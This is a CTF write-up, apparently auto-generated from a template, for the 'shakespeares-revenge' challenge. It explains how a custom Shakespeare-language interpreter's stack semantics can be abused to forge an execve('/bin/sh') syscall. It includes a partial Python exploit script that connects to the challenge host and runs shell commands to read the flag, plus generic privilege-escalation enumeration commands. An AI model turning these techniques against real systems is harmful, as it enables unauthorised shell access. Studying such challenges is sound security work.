← Back to Writeups
HTBN/AReversing

shakespeares-revenge

XESXOR8/23/20264 min read
#reversing#htb#n/a

shakespeares-revenge

Platform: B01Lersc | Category: Reversing | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: execve_shell_spawn, interpreter_reversal, stack_layout_abuse, syscall_argument_forgery

Summary

Task: reverse a custom Shakespeare interpreter that exposes a single syscall through stack-based scenes. Solution: abuse its 32-bit word stacking and the 0xffffffff cstring substitution to place /bin/sh on Romeo's stack, forge Hamlet's stack for execve, then interact with the spawned shell to read /app/flag.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260418_b01lersc_shakespeares_revenge
  • Tags: remote_shell, interpreter, custom_vm, syscall, execve, stack_machine, shakespeare
  • Indicators: custom Shakespeare-language interpreter, two character stacks named Romeo and Hamlet, 64-bit constants split into 32-bit words, arithmetic scenes consume only top Romeo words and push to Hamlet, syscall arguments equal to 0xffffffff become reference_stack_cstring()
  • Source: 20260418_b01lersc_shakespeares_revenge.md

Foothold

Vulnerability / Misconfiguration

  1. Execve_shell_spawn
  2. Interpreter_reversal
  3. Stack_layout_abuse
  4. Syscall_argument_forgery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • execve_shell_spawn
  • interpreter_reversal
  • stack_layout_abuse
  • syscall_argument_forgery
  • Tags: remote_shell, interpreter, custom_vm, syscall, execve, stack_machine, shakespeare

Original Writeup

<details><summary>Click to expand original content</summary>

Description

The Infamous Hello World Program.

Romeo, a young man with a remarkable patience. Hamlet, the flatterer of Andersen Insulting A/S.

The provided file was a Shakespeare-style program executed by a custom ELF interpreter. The goal was to understand the VM well enough to turn its single exposed syscall into code execution and then retrieve the flag from the remote service.

Analysis

The key bug was not memory corruption but runtime semantics.

  • The interpreter keeps separate Romeo and Hamlet stacks.
  • Values are really handled as 32-bit words. Pushing a 64-bit constant stores high32 first, then low32.
  • In the main challenge loop, arithmetic branches (selectors 2/3/4) pop only the top two Romeo words and push the result onto the Hamlet stack.

That means each arithmetic operation can do two things at once:

  1. Consume carefully chosen low words to build future syscall arguments on Hamlet's stack;
  2. Leave the corresponding high words behind on Romeo's stack in a controlled order.

The final syscall scene has another important quirk: if an argument is 0xffffffff, Hamlet replaces it with reference_stack_cstring(). Because Scene I does Reference Romeo., that cstring actually comes from Romeo's stack, not Hamlet's.

So the exploit strategy was:

  • use arithmetic scenes to prepare Hamlet's stack for execve(path, argv, envp);
  • simultaneously leave bytes for /bin/sh\x00 on Romeo's stack;
  • call the syscall with path = 0xffffffff, argv = 0, envp = 0;
  • let the runtime resolve 0xffffffff into a Romeo-stack cstring pointing to /bin/sh.

This spawns /bin/sh over the same socket. From there, the remaining work is operational:

  • pwd showed the remote working directory was /app;
  • ls -la revealed challenge.spl, flag.txt, insults.txt, run, and shakespeare;
  • /flag did not exist;
  • cat flag.txt returned the flag.

Solution

  1. Reverse the Shakespeare interpreter runtime and recover the exact behavior of stack pushes, arithmetic branches, and the syscall scene.
  2. Notice that 64-bit pushes become two 32-bit stack entries: high32, then low32.
  3. Use selectors 2/3/4 so each step consumes only the top two Romeo words and appends the computed result to Hamlet.
  4. Choose the words so Hamlet accumulates execve(0xffffffff, 0, 0) while Romeo retains the bytes of /bin/sh\x00.
  5. Trigger the syscall. The interpreter rewrites 0xffffffff to reference_stack_cstring(), which points into Romeo because of Reference Romeo.
  6. Interact with the spawned shell and read /app/flag.txt.
#!/usr/bin/env python3
import socket, ssl, time

HOST = "shakespeares-revenge.opus4-7.b01le.rs"
PORT = 8443

def push_word(v: int) -> bytes:
    return f"{v}\n0\n2\n".encode()

def syscall_payload(sysno: int, *args: int) -> bytes:
    out = b""
    for a in reversed(args):
        out += push_word(a)
    out += push_word(sysno)
    return out

# After reversing the runtime, we know how to arrange Romeo/Hamlet so that:
#   - Romeo's referenced cstring becomes "/bin/sh\x00"
#   - Hamlet's syscall stack becomes execve(0xffffffff, 0, 0)
# The exact numeric sequence is omitted here for brevity; the important part is
# the semantic abuse described in the writeup.
EXPLOIT_PREFIX = b"<reversed_shakespeare_numeric_program>"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

s = socket.create_connection((HOST, PORT))
s = ctx.wrap_socket(s, server_hostname=HOST)
s.settimeout(2)

s.sendall(EXPLOIT_PREFIX + syscall_payload(59, 0xffffffff, 0, 0))
time.sleep(1)

for cmd in [b"pwd\n", b"ls -la\n", b"cat flag.txt\n"]:
    s.sendall(cmd)
    time.sleep(0.5)
    try:
        print(s.recv(65535).decode("latin-1", "replace"))
    except Exception:
        pass
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR